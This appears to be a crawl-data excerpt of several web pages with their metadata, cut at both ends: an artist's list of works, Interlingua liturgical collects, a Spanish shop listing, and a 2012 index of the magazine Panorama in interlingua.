Leblanc|","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.couchsurfing.com\/directory\/T-29-2","date":"2018-08-17T09:33:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221211935.42\/warc\/CC-MAIN-20180817084620-20180817104620-00574.warc.gz","language":"ina","language_score":0.3190314472,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3190314471721649, \"fra_Latn_score\": 0.13667549192905426, \"hat_Latn_score\": 0.06571465730667114, \"frp_Latn_score\": 0.060028254985809326, \"sme_Latn_score\": 0.054216258227825165, \"kiu_Latn_score\": 0.019891802221536636, \"smo_Latn_score\": 0.019563207402825356, \"nso_Latn_score\": 0.018466461449861526, \"tso_Latn_score\": 0.017680244520306587, \"vec_Latn_score\": 0.013177962973713875, \"mwl_Latn_score\": 0.011267001740634441, \"nrm_Latn_score\": 0.010739877820014954}","num_words":536,"character_repetition_ratio":0.259,"word_repetition_ratio":0.057,"special_characters_ratio":0.25,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.364,"perplexity_score":33184.2,"cluster_detection":-1} +{"text":"| More\nPeter Heydeck\nPeter HeydeckSnow architecture\nPeter Heydeck****\nPeter HeydeckClock\nPeter HeydeckMetropolitan Andrey Sheptytsky\nPeter HeydeckFleure immortelle\nPeter HeydeckExpectation\nPeter HeydeckJuly\nPeter HeydeckThe Choice.\nPeter HeydeckThe Workshop\nPeter HeydeckThe Observer\nPeter HeydeckSpots of light\nPeter HeydeckDUOMO\nPeter HeydeckS-n №1\nPeter HeydeckS-n №8\nPeter HeydeckMaster No. 941\nPeter Heydeck Forgotten stories\nPeter Heydeckproprietor\nPeter HeydeckThe cameo-shell\nPeter HeydeckClouds in the horizon\nPeter Heydeck The Pasture\nPeter HeydeckA white horse\nPeter HeydeckGuardian\nPeter HeydeckA peacock\nPeter HeydeckPeter Heydeck \" Bilder in Bleistift\" (Album of paintings)\nPeter HeydeckLight and Shadow\nPeter HeydeckА+В+С\nPeter HeydeckThe candle\nPeter HeydeckTrick. 3\nPeter HeydeckGlass Ball\nPeter HeydeckSelf-portrait\nPeter HeydeckIsland\nPeter HeydeckRobert\nPeter HeydeckThe Design\nPeter HeydeckWanderer\nPeter HeydeckThe Slope\nPeter HeydeckA tree\nPeter HeydeckArabesque\nPeter HeydeckThe Saga\nPeter HeydeckFr.S.\nPeter HeydeckBird\nPeter HeydeckVenetian tragedy\nPeter HeydeckAugust\nPeter HeydeckThe warm day\nPeter HeydeckSummer\nPeter HeydeckThe alleyway ligurienne.\nPeter HeydeckThe Оbserver\nPeter HeydeckThe Signs\nPeter Heydeck Walking Tour\nPeter HeydeckThe street singers\nPeter HeydeckBirds\nPeter HeydeckHAND (project)\nPeter HeydeckThe Attraction\nPeter HeydeckA Geese\nPeter HeydeckGifts terrestrial and heavenly.\nPeter Heydeckboatman\nPeter HeydeckOracle Paul\nPeter HeydeckO.-M.\nPeter HeydeckBuffalo\nPeter HeydeckPortrait of NN\nPeter HeydeckWarm evening\nPeter HeydeckThe latest news\nPeter HeydeckHunter\nPeter HeydeckRepulsion\nPeter HeydeckThe creatura\nPeter HeydeckLeptoptilos\nPeter HeydeckThe Supermarket\nPeter HeydeckCoffee for Vermeer\nPeter HeydeckThe silence\nPeter HeydeckLittle fountain project (version)\nPeter HeydeckCologne Cathedral\nPeter HeydeckMinotaurus\nPeter HeydeckApres nous...\nPeter HeydeckThe Path\nPeter HeydeckThe Expectation\nPeter HeydeckLevitation\nPeter HeydeckGifts terrestrial and heavenly.\nPeter HeydeckReflection\nPeter HeydeckThe Shooter\nPeter HeydeckThe glass world\nPeter HeydeckMaster\nPeter HeydeckGold cloud\nPeter HeydeckGrandma Nastja\nPeter HeydeckThe Winter\nPeter HeydeckThe Appointment\nPeter HeydeckА Run\nPeter HeydeckRelief\nPeter HeydeckBallad of the boar\nPeter HeydeckDrohobych. 29.02\nPeter HeydeckA Marathon\nPeter HeydeckTravelers\nPeter HeydeckThe scent of the meadow\nPeter HeydeckGrasshopper\nPeter HeydeckThe notches\nPeter HeydeckFlying near\nPeter HeydeckDuomo\nPeter HeydeckBison. 2\nPeter HeydeckAcquaintance\nPeter HeydeckS-n №3\nPeter HeydeckThe Seagull. 2\nPeter HeydeckIsland 2\nPeter HeydeckA sack reduced to ashes\nPeter HeydeckThe Encounter\nPeter HeydeckAugust (sketch)\nPeter HeydeckWalk with a cat\nPeter HeydeckMacedonian. Hard worker.\nPeter HeydeckThe Books\nPeter HeydeckAn experiment\nPeter HeydeckThe origination of a mountain\nPeter HeydeckElectric tramp (version)\nPeter HeydeckS-n №2\nPeter HeydeckThe Harp\nPeter HeydeckСamp\nPeter HeydeckThe wood for the fireplace.\nPeter HeydeckStefan Berger\nPeter Heydeckfight\nPeter HeydeckThe insurance company office\nPeter HeydeckThe Statue\nPeter HeydeckMacedonia. Journey for award.\nPeter HeydeckWanderers\nPeter HeydeckThe Legend\nPeter HeydeckThe Scripts\nPeter HeydeckThe Morning (2)\nPeter HeydeckSinging crocodiles\nPeter HeydeckIn a Garden\nPeter HeydeckThe Picture\nPeter HeydeckPearl\nPeter HeydeckRelief\nPeter HeydeckThe warm day, 2\nPeter HeydeckFreiburg. The Rose Garden. 2\nPeter HeydeckA sign\nPeter HeydeckProtection\nPeter HeydeckVenetian dresses (rehash)\nPeter HeydeckThe proof\nPeter HeydeckS-n №7\nPeter HeydeckThe Shadows\nPeter HeydeckNew Babylon\nPeter HeydeckTussle\nPeter HeydeckThe tree\nPeter HeydeckStill-life painting with Wolter\nPeter HeydeckWave of a Wing\nPeter HeydeckThe White Little Cap\nPeter HeydeckStilleben\nPeter HeydeckThe Church\nPeter HeydeckPaolo Ciampini\nPeter HeydeckThe alien\nPeter HeydeckThe return\nPeter HeydeckA Face\nPeter HeydeckIn grass\nPeter HeydeckQuiet town\nPeter HeydeckPoster for unwritten performance\nPeter HeydeckThe Seagull\nPeter HeydeckSleeping\nPeter HeydeckGolden sky\nPeter HeydeckMademoiselle with rose\nPeter HeydeckEvening\nPeter HeydeckThe red bicycle\nPeter Heydeckthe Creation. Version 748\nPeter HeydeckTrace\nPeter Heydeck**********\nPeter HeydeckSage\nPeter HeydeckPawel Warchol\nPeter HeydeckThe TONE\nPeter HeydeckAggregate (detаil)\nPeter HeydeckIn the shadows of plane-trees\nPeter HeydeckA swan\nPeter HeydeckA dream\nPeter HeydeckMoment\nPeter HeydeckBreakfast\nPeter HeydeckThe Morning\nPeter HeydeckDebate\nPeter HeydeckHuntress\nPeter HeydeckThe overcoming\nPeter HeydeckMorning. Evening\nPeter HeydeckGARDEN\nPeter HeydeckInstallator (version)\nPeter HeydeckChair\nPeter HeydeckV.S.\nPeter HeydeckThe Stage\nPeter HeydeckShine and flicker\nPeter HeydeckThe larine birds\nPeter HeydeckNascence of the mount.1\nPeter HeydeckSilver trees\nPeter HeydeckFortress ruins\nPeter HeydeckAnchoret\nPeter HeydeckVERANDA\nPeter HeydeckGold cloud\nPeter HeydeckА Jack\nPeter HeydeckSage\nPeter HeydeckBallad of a wooden bench.\nPeter HeydeckThe hour of typhoon\nPeter Heydeckaggregate\nPeter HeydeckTwo crocodiles\nPeter HeydeckThe Show-window\nPeter HeydeckShop\nPeter HeydeckGlassy chicken\nPeter HeydeckThe Court\nPeter HeydeckFreiburg. The Rose Garden. 1\nPeter HeydeckMice Jankulovski\nPeter HeydeckFreiburg. The Rose Garden. 3\nPeter HeydeckGARDEN\nPeter HeydeckWarm day\nPeter HeydeckImponderability comprehension\nPeter HeydeckAbandoned constructions (warmed-over cabbage of my own song)\nPeter HeydeckSoldier and monch (final version)\nPeter HeydeckElectric Tramp\nPeter HeydeckBefore the Beginning.\nPeter HeydeckGreen Bird\nPeter HeydeckKampf.\nPeter Heydeck2037\nPeter HeydeckThe shape 245\nPeter HeydeckLibokhory\nPeter HeydeckVenetian kitsch. 2\nPeter HeydeckGlowworm\nPeter HeydeckCologne. Embankment (fragment)\nPeter HeydeckThe Break\nPeter HeydeckGutter-bird\nPeter HeydeckSecret of a bank or Sum of internal times equals the sum of steps\nPeter HeydeckGerald\nPeter HeydeckA garden (amplification the subject)\nPeter HeydeckGirl and Castle\nPeter HeydeckSilver landscape\nPeter HeydeckVietnam. Reservation (sketch)\nPeter HeydeckVenetian mask (rehash)\nPeter HeydeckYard\nPeter HeydeckMountains\nPeter HeydeckThe Prophet\nPeter HeydeckBogdan\nPeter HeydeckDancing\nPeter HeydeckViolinist (family portrait)\nPeter HeydeckLove of masks (rehash)\nPeter HeydeckSelf-portrait against the Alps\nPeter HeydeckPegasus\nPeter HeydeckFree Verse\nPeter HeydeckFarm\nPeter HeydeckFlowers\nPeter HeydeckMuseum\nPeter HeydeckMoth or Silver of simmetry\nPeter HeydeckOld house. Macedonia.\nPeter HeydeckА Beach\nPeter HeydeckEvening in Munich\nPeter HeydeckCode\nPeter Heydeck Street in Ohrid.\nPeter HeydeckBreak\nPeter HeydeckСave Рaintings\nPeter HeydeckLuce solare\nPeter HeydeckThe flowers\nPeter HeydeckClouds\nPeter HeydeckThe text\nPeter HeydeckA cave\nPeter HeydeckVietnam. Creek near Hai Phong (sketch)\nPeter HeydeckCITY\nPeter HeydeckMonarch\nPeter HeydeckBallad of Perishability\nPeter HeydeckHaute Couture\nPeter HeydeckDima\nPeter HeydeckThe shore of South China Sea (sketch)\nPeter HeydeckThe Two\nPeter HeydeckAfrican Woman\nPeter HeydeckSTRON\nPeter HeydeckCarnival Dresses\nPeter HeydeckThe Ancient World\nPeter HeydeckPray\nPeter HeydeckVentseslav Antonov\nPeter Heydeck Foreigner\nPeter HeydeckLift\nPeter HeydeckPower\nPeter HeydeckBirds\nPeter HeydeckBust\nPeter HeydeckBison\nPeter HeydeckInstallator\nPeter HeydeckMorning\nPeter HeydeckThe Break.2\nPeter HeydeckThe message. А Larva\nPeter Heydeck******\nPeter Heydeckthe Visitation\nPeter HeydeckThe mirror\nPeter HeydeckOrder\nPeter HeydeckLay of Igor's Warfare, illustration\nPeter HeydeckParrots\nPeter HeydeckA plash of sunlight\nPeter HeydeckGolden sphere\nPeter HeydeckINSTALLATOR (final version)\nPeter HeydeckFellow's portrait (draft)\nPeter HeydeckOn freedom\nPeter HeydeckRed horse\nPeter HeydeckAnnette\nPeter HeydeckAlexander\nPeter HeydeckAssyrian\nPeter Heydeckthe night\nPeter HeydeckThe Fight\nPeter HeydeckSoldier and monch\nPeter HeydeckVenetian mask 2 (rehash)\nPeter HeydeckCarnival wealth (rehash)\nPeter Heydeck00:00\nPeter HeydeckAt the Ohrid lake.\nPeter Heydeckpell mell\nPeter HeydeckThe area of disastrous inundation\nPeter HeydeckPresence of China.\nPeter HeydeckCrashout\nPeter HeydeckDance\nPeter HeydeckOresta-Maria\nPeter HeydeckThe ECHO (fragment)\nPeter HeydeckDissolution\nPeter HeydeckThe temple of visions\nPeter HeydeckHOUSE\nPeter HeydeckShine and twinkling\nPeter HeydeckPortrait N\nPeter HeydeckPARK\nPeter HeydeckArchangel's Head (fragment)\nPeter HeydeckThe project of a fountain in the conservatory\nPeter HeydeckCongratulations!","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/arts-ua.com\/artists\/Heydeck\/best\/","date":"2018-10-19T00:21:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512161.28\/warc\/CC-MAIN-20181018235424-20181019020924-00362.warc.gz","language":"ina","language_score":0.3270274401,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.32702744007110596, \"eng_Latn_score\": 0.22198805212974548, \"dag_Latn_score\": 0.07819260656833649, \"trv_Latn_score\": 0.04594111815094948, \"sco_Latn_score\": 0.04002990573644638, \"ben_Latn_score\": 0.03635434806346893, \"ast_Latn_score\": 0.026883702725172043, \"dan_Latn_score\": 0.01731131225824356, \"ile_Latn_score\": 0.015064841136336327, \"deu_Latn_score\": 0.012422706000506878, \"som_Latn_score\": 0.010220251977443695}","num_words":2891,"character_repetition_ratio":0.3,"word_repetition_ratio":0.042,"special_characters_ratio":0.14,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.718,"perplexity_score":37459.0,"cluster_detection":-1} +{"text":"conformemente al anno liturgic del ecclesias christian\nPrime dominica de Advento\nOmnipotente Deo, da nos le gratia de spoliar nos del obras del tenebras e de vestir nos con le armatura de lumine, nunc in le tempore de nostre vita mortal in le qual tu filio Jesus Christo veniva visitar nos in grande humilitate; ut in le dies ultime, quando ille retornara in su gloriose majestate pro judicar le viventes e le mortos, nos resurge a vita immortal; per ille qui vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e semper. Amen.\nSecunde dominica de Advento\nMisericordiose Deo, qui mandava tu messageros, le prophetas, a predicar le repententia e a preparar le via de nostre salvation: Da nos le gratia de prestar attention a lor advertimentos e derelinquer nostre peccatos, ut nos saluta con gaudio le advento de Jesus Christo, nostre Redemptor; que vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e semper. Amen.\nTertie Dominica de Advento\nSuscita tu potentia, oh Senior, e con grande fortia veni inter nos; e quia nos es tanto dolorosemente inhibite per nostre peccatos, que tu generose gratia e misericordia veni in nostre adjuta e libera nos. Per Jesus Christo, nostre Senior, al qual, con te e con le Spirito Sancte, sia omne honor e gloria, nunc e pro semper. Amen.\nQuarte Dominica de Advento\nifica nostre conscientia, Omnipotente Deo, con tu visitation quotidian, ut tu Filio Jesus Christo, quando ille retornara, pote trovar un demora preparate pro ille; que vive e regna con te, in le initate del Spirito Sancte, un sol Deo, nunc e semper. Amen.\nDominica de Natal\n|Oh Deo, le celebration annual del nascentia de tu Filio unic Jesus Christo allegra nos multo: accorda que nos, qui le recipe con gaudio como nostre Redemptor, pote con certe fiducia reguardar le quando ille retornara como nostre Judice; que vive e regna con te e con le Sancte Spirito, un sol Deo, nunc e semper. Amen.||Oh Deo, le nocte in le qual nostre Salvator Jesus Christo nasceva, fulgeva del brillantia del ver Lumine: accorda ut nos, que ha cognoscite le mysterio de ille Lumine super le terra, pote alsi gauder le perfectemente in celo; ubi con te e con le Spirito Sante ille vive e regna, un sol Deo, in le eterne gloria. Amen.||Omnipotente Deo! Tu donava nos tu Filio unigenite, le qual sumeva in se ipse nostre natura e nasceva de un pur virgin: Accorda ut nos, qui esseva spiritualmente regenerate e facite tu filios per adoption e gratia, pote esser renovate omne die per tu Sancte Spirito; per nostre Senior Jesus Christo, al qual con te e le mesme Spirito, sia honor e gloria, nunc e semper. Amen.|\nPrime dominica post Natal\nOmnipotente Deo, tu effundeva super nos le nove lumine de tu Verbo incarnate: Accorda que iste lumine, accendite in nostre corde, pote brillar in nostre vita; per Jesus Christo nostre senior, qui vive e regna con te, in le unitate del Sancte Spirito, un sol Deo, nunc e semper. Amen.\nSecunde dominica post Natal\nOh Deo, qui meraviliosemente creava, e ancora plus meraviliosemente restabliva le dignitate del natura human: concede que nos pote prender parte al vita divin de ille, que se humiliava pro prender parte a nostre humanitate, tu Filio Jesus Christo; que vive e regna con te, in le unitate del Spirito Sancte, un sol Deo, nunc e semper. Amen.\nPrime dominica post le Epiphanìa\nNostre Patre qui es in le celos! Qui al baptismo de Jesus in le fluvio Jordan le ha proclamate tu Filio grandemente amate e le ha consacrate con le Spirito Sancte: Concede que tote illes que es baptisate in su Nomine honora fidelmente le pacto establite e coragiosemente le confessa como Senior e Salvator; que con te e con le Sancte Spirito vive e regna, un sol Deo, in gloria eterne. Amen.\nSecunde Dominica post le Epiphanìa\nOmnipotente Deo, cuje Filio, nostre Salvator Jesus Christo, es le lumine del mundo: Concede que tu populo, inluminate per tu Parola e Sacramentos, pote brillar del radiantia del gloria de Christo, ut ille sia cognoscite, adorate e obedite usque le confinios del terra; per Jesus Christo, nostre Senior, qui con le Sancte Spirito vive e regna, un sol Deo, nunc e semper. Amen.\nTertie Dominica post le Epiphania\nOh Senior! Da nos le gratia de responder promptemente al vocation de nostre Salvator Jesus Christo e de proclamar le Bon Nova de su salvation, ut nos e le integre mundo pote perciper le gloria de su meraviliose obras; qui vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e semper. Amen.\nLe Presentation de Jesus\nOh Senior! Da nos le gratia de responder promptemente al vocation de nostre Salvator Jesus Christo e de proclamar le Bon Nova de su salvation, ut nos e le integre mundo pote perciper le gloria de su meraviliose obras; qui vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e semper. Amen.\nQuinte Dominica post le Epiphania\nLibera nos, oh Deo, ab le servage de nostre peccatos, e da nos le libertate de ille vita abundante que tu ha facite nos cognoscer in tu Filio e Salvator nostre Jesus Christo; qui vive e regna con te, in le unitate del Spirito Sancte, un sol Deo, ora e pro semper. Amen.\nSexte Dominica post le Epiphania\nOh Deo, fortia de tote illes que se confide a te: accepta misericordiosemente nostre preces; e nam in nostre debilitate nos non pote facer alco de bon sin te, da nos le adjuta de tu gratia, ut in observar tu commandamentos, nos pote complacer te sia in le voler que in le facer; per Jesus Christo, nostre Senior, qui vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e semper. Amen.\nUltime dominica post le Epiphania\nOh Deo, que ante le patimentos de tu unigenite Filio, tu revelava su gloria super le monte sancte: Concede que, in vider per fide le lumine de su facie, nos pote esser reinfortiate in portar nostre cruce e in esser transformate a su imagine de gloria in gloria; per Jesus Christo, nostre Senior, que vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e semper. Amen.\nPrime dominica de Quaresima\nOmnipotente Deo, cuje Filio benedicte esseva ducite per le Spirito a esser temptate per Satana: Vene tosto pro adjutar nos, nos qui es assalite per multe temptationes; e si como tu cognosce le punctos debile de cata un de nos, lassa que nos experi tu potentia del salvation; per Jesus Christo, tu Filio, nostre Senior, qui vive e regna con te e con le Sancte Spirito, un sol Deo, nunc e pro semper.\nSecunde dominica de Quaresima\nOh Deo, cuje gloria es semper esser misericorde: Sia gratiose verso omnes que esseva discamminate de tu vias, e reporta les retro con cordes penitente e fide resolute a imbraciar e tener se firmemente al immutabile veritate de tu Parola, Jesus Christo tu Filio, qui con te e con le Spirito Sancte vive e regna, un sol Deo, nunc e semper. Amen.\nTertie dominica de Quaresima\nOmnipotente Deo, tu sape que nos ha nulle poter in nos ipse pro adjutar nos mesme: Preserva nos sia externemente in nostre corpore que interiormente in nostre anima, ut nos sia protegite de omne adversitates que pote incider al corpore, e de omne mal pensamento que pote attaccar nostre anima; per Jesus Christo nostre Senior, que vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e pro semper. Amen.\nQuarte dominica de Quaresima\nPatre de omne gratia, cuje Filio benedicte Jesus Christo descendeva del celo ut esser le ver pan qui da vita al mundo: da nos semper de iste pan, ut ille pote viver in nos e nos in ille; qui vive e regna con te e con le Spirito Sancte, un sol Deo, nunc e semper. Amen.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/reformation.altervista.org\/orationes-dominical\/","date":"2023-02-01T09:01:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499919.70\/warc\/CC-MAIN-20230201081311-20230201111311-00370.warc.gz","language":"ina","language_score":0.9998399019,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"ina_Latn_score\": 0.9998399019241333}","num_words":1620,"character_repetition_ratio":0.141,"word_repetition_ratio":0.168,"special_characters_ratio":0.208,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":779.8,"cluster_detection":-1} +{"text":"PRODUCTOSYSERVICIOSFEDE\nFlintronic rinonera deportiva rinonera de running deportiva para mu\nRinonera de cuero biodegradable producto sustentable marron\nProductos choice\nProductos dieteticos para adelgazar\nPodologia productos\nProductos lacteos\nProductos estetica facial\nProductos plus bebes\nBuscar productos\nHome\nProductos plus bebes\nSin stock.\nVer más modelos de productos plus bebes\nQuizas podria interesarte...\nProductos cuidado pelo\nProducto plus staedler\nProducto plus gafas de sol\nMarco fotos producto plus\nCubo productos limpieza","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/productosyserviciosfede.es\/productos-plus-bebes","date":"2024-04-14T08:09:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816875.61\/warc\/CC-MAIN-20240414064633-20240414094633-00474.warc.gz","language":"ina","language_score":0.3710156977,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3710156977176666, \"spa_Latn_score\": 0.24632176756858826, \"nld_Latn_score\": 0.031291212886571884, \"arg_Latn_score\": 0.031053965911269188, \"swe_Latn_score\": 0.030590921640396118, \"lat_Latn_score\": 0.021075960248708725, \"lit_Latn_score\": 0.019457150250673294, \"mlt_Latn_score\": 0.019044343382120132, \"lvs_Latn_score\": 0.018807752057909966, \"slv_Latn_score\": 0.016010791063308716, \"dan_Latn_score\": 0.015857797116041183, \"ekk_Latn_score\": 0.015743305906653404, \"pol_Latn_score\": 0.015561152249574661, \"hun_Latn_score\": 0.015349630266427994, \"yua_Latn_score\": 0.014867188408970833, \"fin_Latn_score\": 0.013738524168729782, \"ast_Latn_score\": 0.013118864968419075, \"slk_Latn_score\": 0.012904678471386433}","num_words":137,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.279,"perplexity_score":14864.8,"cluster_detection":-1} +{"text":"- Pagina principal\n- UMI e interlingua\n- Interlingua pro juniores\n- Libros e litteratura\n- Panorama\n- Servicio de Libros UMI\n- Litteratura in interlingua\n- Dictionarios e cursos\n- interlingua\n- anglese\n- catalano\n- chinese\n- danese\n- espaniol\n- francese\n- germano\n- italiano\n- lituano\n- norvegiano\n- portugese\n- turco\n- Facile a leger in interlingua\n- Grammatica de interlingua\n- Inseniamento\n- Bibliotheca electronic\n- Almanac de interlingua\n- Angulo linguistic\n- Practica interlingua!\n- Films\n- Radio Interlingua\n- Ligamines\n- Mappa del sito\nPanorama in interlingua - indice 2012\n2012-03-02 15:40 Historia\nIste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition.\n\n\nNo. 1\/2012, januario-februario\n|1||Nove dictionario interlingua-interlingua||Le nove \"Interlingua – dictionario basic\" explica le 2.500 parolas le plus frequente completemente in interlingua. \"Iste dictionario pote optimemente devenir le \"dotation basic\" de omne interlinguista,\" dice le recension del dictionario con plus que 360 illustrationes e multe listas practic a consultar pro le usator active||Copertura|\n|1||Active estate in interlingua con tres cursos in julio||Solmente 155 euros pro cinque dies in le 13tie incontro nordic in Svedia in julio. Le inscription ha comenciate.||Copertura|\n|1||Drama de Scotia||Independentia causa furor.||Copertura|\n|1||Pompeii decade||Cameraderia menacia ruina.||Copertura|\n|1||Nove testamento in interlingua revidite||Le Biblia total in interlingua se approxima. On pote sequer le labor directemente. Lege le interview.||Copertura|\n|1||Panorama 25 annos||Plus que 4.000 paginas ha apparite desde le prim eedition in 1988. Collige tote le prime editiones.||Copertura|\n|2||25 annos con Panorama||Breinstrup, Thomas||Editorial|\n|3||Invitation a incontro e cursos sur insula||Solmente 155 euros pro cinque dies in le 13tie incontro nordic de interlingua in Svedia in julio. Inscription ante le 15 de maio.||Breinstrup, Thomas||Novas de interlingua|\n|3||Invitation a Svedia||Novas de interlingua|\n|4+5||Panorama sin stop durante 25 annos||On voleva crear un nove typo de magazin international. Le prime 4.060 paginas ha ja apparite...||Breinstrup, Thomas||Novas de interlingua|\n|5||Isto tu non sapeva...||Novas de interlingua|\n|6||Pompeii menaciate per cameraderia||UNESCO menacia Italia de placiar Pompeii sur le lista de menaciate hereditage mundial, proque le autoritates lassa le urbe decader.||Breinstrup, Thomas||Nova|\n|6||Ancora un muro collabeva||Th.||Nova|\n|7||Nove canal debe alleviar le Bosporo||Le parte europee de Istanbul devenira un insula, quando un nove canal pro le traffico pesante essera preste.||Breinstrup, Thomas||Nova|\n|7||Le mundo sin mangiar e biber||Th.||Nota|\n|7||Mona Lisa ha un soror||Th.||Nota|\n|8||Drama scotese de nove independentia||Le leader politic de Scotia desira un referendum de independentia in 2014. Le governamento central in London lo appella illegal.||Breinstrup, Thomas||Nova|\n|8||Gallese perde 3.000 parlatores per anno||Th.||Nova|\n|9||520 dies isolate in prision de Marte||Sex astronautas \"retorna\" al Terra post le experimento le plus longe.||Breinstrup, Thomas||Nova|\n|9||Extra pro abonatos||Collige le Panoramas original||Extra|\n|10||Hallo a tote le mundo!||Novas de interlingua|\n|10||Interlingua-espaniol basic es preste||Novas de interlingua|\n|10||Roman svedese usa interlingua||Novas de interlingua|\n|11||Incontro nordic in Wikipedia||Novas de interlingua|\n|11||Multe nove textos in Wikipedia||Novas de interlingua|\n|11||Sportista famose se presenta in interlingua||Novas de interlingua|\n|12||Nove testamento in interlingua revidite||Finalmente le Biblia total in interlingua se approxima. Un ample labor de revider tote le versiones del Nove Testamento es in via.||Breinstrup, Thomas||Novas de interlingua|\n|13||Le petra solar del vikinges trovate||Recercatores pensa haber trovate le petra per le qual le vikinges navigava in tempore nubilose.||Th.||Scientia|\n|13||Mastodonte cambia le historia human||Th.||Scientia|\n|14||Commercio illegal con ebore da record||2011 esseva mal pro le elephantes.||Breinstrup, Thomas||Scientia|\n|14||Policia confisca defensas||Th.||Nota|\n|15||TV abbrevia, motion prolonga||Beq||Scientia|\n|15||Neanderthales in le nord||Beq||Nota|\n|15||Confusion de secundas extra||Th.||Nota|\n|15||Deforestation continua||Beq||Nota|\n|15||Reparationes facile||Beq||Nota|\n|16||Labyrintho||passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|17||Quiz in interlingua||Madsen, W.||Quiz|\n|17||Interlingua practic||Brochure in le schola||Th.||Interlingua in practica|\n|18+19||Le \"dotation basic\" de cata interlinguista||Thomas Breinstrup e Italo Notarstefano (red.): Interlingua – dictionario basic||Castellina, Paolo||Libros|\n|19||Serie de libros facile a lager||Th.||Libros|\n|20+21||Un viage in interlingua||Stanley A. Mulaik: \"Interlingua – grammar and method\"||Breinstrup, Thomas||Libros|\n|21||Cultura in interlingua disponibile||Th.||Libros|\n|21||Indice complete de Panorama||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22+23||Le superstition||Soreto, Carlos||Litteratura|\n|23||Le mendicante||Notarstefano, Onofrio||Litteratura|\n|24||Anello neolithic retornate||Th.||Le mundo actual|\n|24||Hereditage de vikinges salvate||Th.||Le mundo actual|\n|24||Le plus mal equipa ha ganiate||Th.||Le mundo actual|\n|24||Medicina combinate plus forte||Beq||Le mundo actual|\n|25||Le plus grande jammais||Beq||Le mundo actual|\n|25||Fumo periculose extra respiration||Beq||Le mundo actual|\n|25||Un tertio del alimento dispare||Beq||Le mundo actual|\n|25||Vaccas contra mosquitos||Beq||Le mundo actual|\n|26||Un handicapat...||Breinstrup, Thomas||Le parolas del mense|\n|26||Al hasardo o per hasardo||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Alfred Ratz||Novas de nomines|\n|28||Radio Interlingua||Novas de nomines|\n|28||Martijn Dekker||Novas de nomines|\n|28||Cláudio Rinaldi||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 2\/2012, martio-april\n|1||Ora veni le lectura facile in interlingua||Nove serie de librettos imprimite e digital basate sur le 2.500 parolas le plus commun debe facer interlingua plus attractive.||Copertura|\n|1||Ultime chance pro cursos de interlingua||Tres cursos intensive in le 13tie incontro nordic de interlingua in Svedia in julio.||Copertura|\n|1||Ex-secretario general retorna||Ancian profilo deveni nove secretario general del UMI e ha planos.||Copertura|\n|1||Multe nationes vince le malaria timite||Un tertio del paises non plus risca perder humanos al maladia nocive. In 2009 moriva 781.000.||Copertura|\n|1||Le animales salvage dispare pro fusiles||Copertura|\n|1||Extra: Panorama 2||Lege no. 2 de 1988.||Copertura|\n|1||Rumpe tu capite||Solve le quiz e entra in le Labyrintho.||Copertura|\n|1||Novella de Cechov||Copertura|\n|2||Io ama libros facile – e incontros nordic||Breinstrup, Thomas||Editorial|\n|3||Nove serie con libros facile a leger||Interlingua debe esser plus attractive, interessante e amusante.||Breinstrup, Thomas||Novas de interlingua|\n|4||Cursos intensive, demonstration e match nordic||Le 13tie incontro nordic de interlingua in Svedia in julio essera plen de traditiones – e ante toto un placente atmosphera ubi on debe planificar un extraordinari match international.||Breinstrup, Thomas||Novas de interlingua|\n|5||Cursos estive de interlingua||Annuncio pro le 13tie incontro nordic de interlingua||Annuncio|\n|6||Nove lucta pro attinger le celo||Burj Khalifa essera tosto fratre minor – duo vices.||Breinstrup, Thomas||Nova|\n|6||Obras de Joyce es libere||Th.||Nota|\n|6||Plus de metro in Moscova||Th.||Nota|\n|6||Violentia in le domo||Beq||Nota|\n|6||Venditores debe apprender latino||Th.||Nota|\n|7||Internet supporta le parve linguas||Groenlandese e samiano debe esser adjutate per dictionarios e ressource digital pro superviver.||Th.||Nova|\n|7||Svedeses priorita finnese||Th.||Nota|\n|7||Minus de japoneses in 2060||Th.||Nota|\n|7||Germania retorna sphinge||Th.||Nota|\n|8||Decreto con tracias lingual historic||Le Decreto del Alhambra ha 520 annos||Sorfleet, Richard W.||Nova|\n|9||Gallese es ancora in un crise||Investimentos es necessari pro assecurar que le lingua in Galles supervive ben, dice le presidente del Consilio del Lingua Gallese que ora claude.||Breinstrup, Thomas||Nova|\n|10||Andorra cessa esser refugio de taxas||Le principato pyrenee vole introducer taxas ab 2012.||Breinstrup, Thomas||Nova|\n|10||Groenlandia troppo verde||Th.||Nota|\n|10||Microinformation immagazinate||Beq||Nota|\n|10||Melle in vice de 